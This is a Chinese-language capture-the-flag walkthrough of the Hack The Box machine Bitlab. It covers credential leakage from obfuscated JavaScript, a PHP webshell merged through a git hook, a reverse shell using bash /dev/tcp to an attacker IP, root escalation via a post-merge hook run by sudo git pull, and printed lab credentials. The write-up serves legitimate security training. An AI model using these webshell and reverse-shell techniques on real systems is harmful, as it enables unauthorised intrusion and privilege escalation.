【HTB系列】靶机Bitlab的渗透测试 – 作者:shuteer

徐哥Ms08067安全实验室

0x00 本文目录

  • 反思与总结
  • 基本信息
  • 渗透测试过程
  • 补充

0x01 反思与总结

1. curl 发送GET参数化请求 2. 对反弹回来的shell进行设置完善 3. 使用git hooks来进行提权

0x02 基本信息

1615131835_6044f4bb0c23ebcb16d9b.png!small?1615131833838

址:10.10.10.114 Kali IP地址:10.10.14.13

0x03 渗透测试过程

端口探测

root@kali:~/HTB/bitlab# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114

Starting Nmap 7.80 ( https://nmap.org ) at 2020‐01‐22 10:04 CST

Nmap scan report for 10.10.10.114

Host is up (0.24s latency).

Not shown: 998 filtered ports

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh‐hostkey: 

|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)

|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)

|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)80/tcp open  http    nginx| http‐robots.txt: 55 disallowed entries (15 shown)| / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit| http‐title: Sign in \xC2\xB7 GitLab|_Requested resource was http://10.10.10.114/users/sign_in|_http‐trane‐info: Problem with XML parsing of /evox/aboutService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results athttps://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 34.44 seconds

目标靶机开放了80 和 22端口

目录探测

我们先从80下手,查看下网页内容1615131993_6044f559793cc57dcad4b.png!small?1615131992071先使用gobuster进行扫描

gobuster dir ‐u "http://10.10.10.114/" ‐w /usr/share/wordlists/dirbuster/directory‐list‐

2.3‐medium.txt ‐t 150 ‐s 200,204,301,307,401,403 ‐o bitlab.gobuster

参数介绍:

dir: 表示扫描目录的模式 -w: 使用的字典 -t: 线程数量 -s: 只显示响应码为200,204,301,307,401,403的路径,因为我们访问网页的时候有些位置是不允许我们访问会被302跳转到登录界面

1615132069_6044f5a533b8d3fe1de7d.png!small?1615132067972

对出现的结果逐一查看,发现除了help外其他的网页都没什么可用信息

漏洞发现

打开help下的bookmarks.html

1615132084_6044f5b4c2062e667087c.png!small?1615132083548

对这几个超链接逐一查看,发现前面4个连接都只是分别指向hackthebox,Docker,PHP,Node.js的官网并没有什么信息点击 【Gitlab Login】 时,发现没反应,但是出现了javascript代码。

1615132095_6044f5bf1f55a364ddfe4.png!small?1615132093702

我们打开源码进行查看

1615132106_6044f5ca613081bac333f.png!small?1615132104922

把javascript代码复制出来放到https://beautifier.io/进行美化并把里面的HTML实体去除,得到下面的结果

javascript: (function() {var _0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];})()

把_0x4b18里面的内容翻译下(十六进制转字符)

var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password","11des0081x"];

那么下面2行代码

document[getElementById](user_login)[value] = clave;document[getElementById](user_password)[value] = 11des0081x;

感觉是账号密码的感觉,我们在登录界面使用console进行尝试1615132307_6044f693161c5eae3b304.png!small?1615132305750账号密码直接出现并成功登录登录后有2个库
1615132322_6044f6a2baf883fcb3815.png!small?1615132321299在deployer中发现index.php,像是一个挂钩文件,当Profile存储库合并了一个新的提交时就会执行命令
切换到 profile目录 , 并且执行sudo git pull
1615132471_6044f737b41752878b53e.png!small?1615132470241那么我们只要写入一个webshell并合并到profile库中,那么这个index.php就会把我们的webshell给pull下来我们创建一个分支1615132486_6044f7467ffaaf0888fa7.png!small?1615132485085切换到这个分支,然后在这个分支上创建一个webshell1615132499_6044f753b233147644264.png!small?16151324984471615132511_6044f75f25edca159c0d1.png!small?1615132509982
写入一个webshell,并提交1615132523_6044f76b024611a800150.png!small?1615132521630
1615132535_6044f777c6dbddcfe69a0.png!small?1615132534319创建合并请求

1615132548_6044f78456a3e6ac766e7.png!small?1615132546947

1615132563_6044f7935733b96c5f9bf.png!small?1615132561955

然后就可以看到我们的webshell就成功合并如mstaer库

1615132579_6044f7a38421b5914ff2a.png!small?1615132579104

此时应该会被之前的挂钩文件pull到本地,我们尝试访问看看

http://10.10.10.114/profile/dfz.php?cmd=whoami

也可以通过curl来进行命令执行
1615132633_6044f7d9c875fcc167b78.png!small?1615132632563

curl ‐G “http://10.10.10.114/profile/dfz.php” ‐‐data‐urlencode ‘cmd=whoami’

1615132662_6044f7f6004613dfed6f4.png!small?1615132660537这样我们就拿到了webshell

反弹shell

接下来就是反弹shellkali先nc先监听端口1615132675_6044f8034754e0e908a0c.png!small?1615132673917
然后用curl反弹,这里需要注意的是,反弹shell的指令前面还需要用到bash -c1615132863_6044f8bf512b7176df755.png!small?1615132861898
1615132874_6044f8cac36eadd90d5e3.png!small?1615132874433
反弹回来的shell,会出现字符错误,无法编辑vim等问题 输入下面的指令对反弹回来的shell进行设置,让后面我们可以正常使用
1615132894_6044f8dea3425d39f443e.png!small?16151328932031615132899_6044f8e3a187119c6a90a.png!small?1615132898565这样我们反弹回来的shell就可以像我们平常用的那个shell一样了

权限提升

进入之后我们看下sudo -l 有没有能突破的点1615132911_6044f8efe94ba29c817d9.png!small?1615132910570这里我们可以看到 www-data用户可以不需要密码 以root的权限调用git pull 命令这里我们可以用git的hook文件来进行提权在.git/hooks文件中有一些模板,我们可以对照进行编写1615132928_6044f9006e1ff29515191.png!small?1615132927674因为sudo运行www-data用户运行git pull文件那么我们找下运行这个命令的时候会触发哪个hook文件可以通过下面命令查看

man githooks

1615132949_6044f9153e5fdefba5590.png!small?1615132948220可以看到在执行git pull时,会触发post-merge这个文件但是在hook文件里面没有这个文件,我需要手动创建但是这个文件夹我们没有写的权限1615132961_6044f921df289e78f8c80.png!small?16151329615461615132967_6044f927b97f8efe816ff.png!small?1615132966273那么我们把这个文件给重新拷贝一份出来
1615132991_6044f93f3f2ade014be48.png!small?1615132990345然后在

/tmp/dfz/profile/.git/hooks/

中创建一个

post-merge

文件 ,并赋予执行权限

#!/bin/bash

bash ‐c 'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1'

1615133027_6044f9636cbfc17009e60.png!small?1615133026107那么我们接下来做的就是要触发git pull,在这之前我们需要在仓库里面添加一个新的文件,这样git pull才能有效果,否则就有如下的提示
1615133039_6044f96fb7e76b5ffc5fe.png!small?1615133038305我们可以直接添加一个文件并合并1615133049_6044f979e0849f5dfe511.png!small?1615133048458
1615133062_6044f986cd1e2bd28a1bd.png!small?1615133061416kali进行监听,然后再进行sudo git pull然后就得到root权限1615133079_6044f997e2a5b5c578069.png!small?1615133079387

0x04 补充

还有另一种方法get flag我们在进入到profile仓库后可以看到一个TODO
1615133114_6044f9ba8d275f8a481dc.png!small?1615133113515然后我们在

http://10.10.10.114/users/clave/snippets

里面找到postgresql的代码片段1615133141_6044f9d5dc9fd6620d806.png!small?1615133140837
可以看到这段代码在查询数据,我们可以看下它查询的是什么数据
1615133188_6044fa04926393bb1a8af.png!small?16151331871051615133196_6044fa0cd92fa43a38b98.png!small?1615133195899我们尝试登录到clave1615133206_6044fa161f1e129b3ce56.png!small?1615133204750成功!同时我们在clave的家目录下看到一个exe1615133223_6044fa27e25e6c3642138.png!small?1615133222528我们通过scp下载回来

scp [email protected]:RemoteConnection.exe .

1615133246_6044fa3e2e3ea4f3408ed.png!small?1615133244741使用OD进行调试也可以看到root的账号密码

Qf7]8YSV.wDNF*[7d?j&eD4^

1615133265_6044fa51a4f48fb38702d.png!small?1615133264763

MS08067实验室官网:www.ms08067.com

公众号:” Ms08067安全实验室”

Ms08067安全实验室目前开放知识星球: WEB安全攻防,内网安全攻防,Python安全攻防,KALI Linux安全攻防,二进制逆向入门

最后期待各位小伙伴的加入!

来源:freebuf.com 2021-03-08 00:09:04 by: shuteer

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论